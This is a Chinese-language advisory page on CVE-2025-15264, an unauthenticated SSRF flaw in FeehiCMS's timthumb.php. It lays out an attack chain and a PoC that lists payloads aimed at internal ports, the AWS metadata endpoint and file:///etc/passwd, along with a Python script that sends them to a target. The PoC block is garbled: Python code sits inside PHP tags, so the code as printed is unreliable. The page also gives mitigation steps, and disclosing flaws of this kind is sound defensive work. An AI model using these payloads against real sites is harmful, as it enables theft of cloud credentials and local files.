IPBUF安全漏洞报告
English
CVE-2025-15264 CVSS 7.3 高危

CVE-2025-15264 FeehiCMS TimThumb服务器端请求伪造漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2025-15264
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FeehiCMS

相关标签

服务器端请求伪造SSRFFeehiCMSTimThumbCVE-2025-15264高危漏洞内容管理系统

漏洞概述

FeehiCMS是一套基于PHP开发的内容管理系统(CMS)。近日,安全研究人员发现FeehiCMS 2.1.1及之前版本中存在一处严重的安全漏洞,该漏洞位于前端文件frontend/web/timthumb.php中的TimThumb组件。TimThumb是一个广泛使用的PHP缩略图生成库,但由于其对用户输入的验证不足,攻击者可以通过构造恶意的src参数来发起服务器端请求伪造(SSRF)攻击。攻击者可以利用此漏洞迫使服务器向内部网络资源、第三方服务或恶意服务器发起HTTP请求,从而获取敏感信息、扫描内网端口或执行其他恶意操作。该漏洞的CVSS评分为7.3,属于高危级别,攻击复杂度低且无需认证和用户交互即可利用。由于该漏洞的利用代码已公开披露,建议使用FeehiCMS的用户尽快采取防护措施。

技术细节

漏洞存在于FeehiCMS的frontend/web/timthumb.php文件中,该文件调用了存在安全问题的TimThumb库。TimThumb组件在处理src参数时,未对用户输入进行充分的过滤和验证。攻击者可以通过src参数注入任意URL,迫使服务器向指定目标发起请求。漏洞利用的关键点在于:1)攻击者通过HTTP请求将恶意构造的URL作为src参数值传入timthumb.php;2)服务器端代码直接使用该参数值发起HTTP请求,而未进行域名/IP地址白名单校验;3)攻击者可以指定内部IP地址(如127.0.0.1、10.0.0.0/8等)或内部服务端口进行探测;4)攻击者还可以利用file://、dict://、gopher://等协议进行更复杂的攻击。由于该漏洞影响的是服务器端逻辑,攻击者可以在无需任何认证的情况下远程利用此漏洞。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站是否使用FeehiCMS CMS系统,并确认其版本是否在2.1.1或更早版本
STEP 2
步骤2
攻击者访问frontend/web/timthumb.php文件,通过发送带有恶意src参数的HTTP请求
STEP 3
步骤3
攻击者构造各种payload,如内部IP(如127.0.0.1)、云元数据端点(如AWS 169.254.169.254)或其他内部服务地址
STEP 4
步骤4
服务器接收到请求后,未经验证直接使用src参数中的URL发起HTTP请求,将响应返回给攻击者
STEP 5
步骤5
攻击者通过分析响应内容获取内网信息、敏感数据或利用file://等协议读取本地文件
STEP 6
步骤6
攻击者进一步利用获取的信息进行横向移动或更深层次的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2025-15264 SSRF PoC for FeehiCMS TimThumb // Target: FeehiCMS <= 2.1.1 // Component: frontend/web/timthumb.php // Attack vectors: // 1. Basic SSRF to internal service // GET /frontend/web/timthumb.php?src=http://127.0.0.1:80/ // 2. Port scanning internal services // GET /frontend/web/timthumb.php?src=http://127.0.0.1:22/ // 3. Fetch internal metadata (AWS example) // GET /frontend/web/timthumb.php?src=http://169.254.169.254/latest/meta-data/ // 4. Using file protocol to read local files // GET /frontend/web/timthumb.php?src=file:///etc/passwd // Python PoC: import requests target = "http://target.com/frontend/web/timthumb.php" payloads = [ "http://127.0.0.1/", "http://127.0.0.1:22/", "http://169.254.169.254/latest/meta-data/", "file:///etc/passwd" ] for payload in payloads: params = {"src": payload} try: response = requests.get(target, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response length: {len(response.content)}") print("---") except Exception as e: print(f"Error with {payload}: {e}") ?>

影响范围

FeehiCMS <= 2.1.1

防御指南

临时缓解措施
如果暂时无法升级系统,建议立即删除frontend/web/timthumb.php文件,或将其重命名并限制访问权限。同时配置Web服务器(如Nginx/Apache)禁止访问该文件,或在应用层添加IP白名单限制。对于必须使用TimThumb功能的情况,建议使用安全加固后的版本或替代方案,并在生产环境中禁用所有非必要的协议和外部请求功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表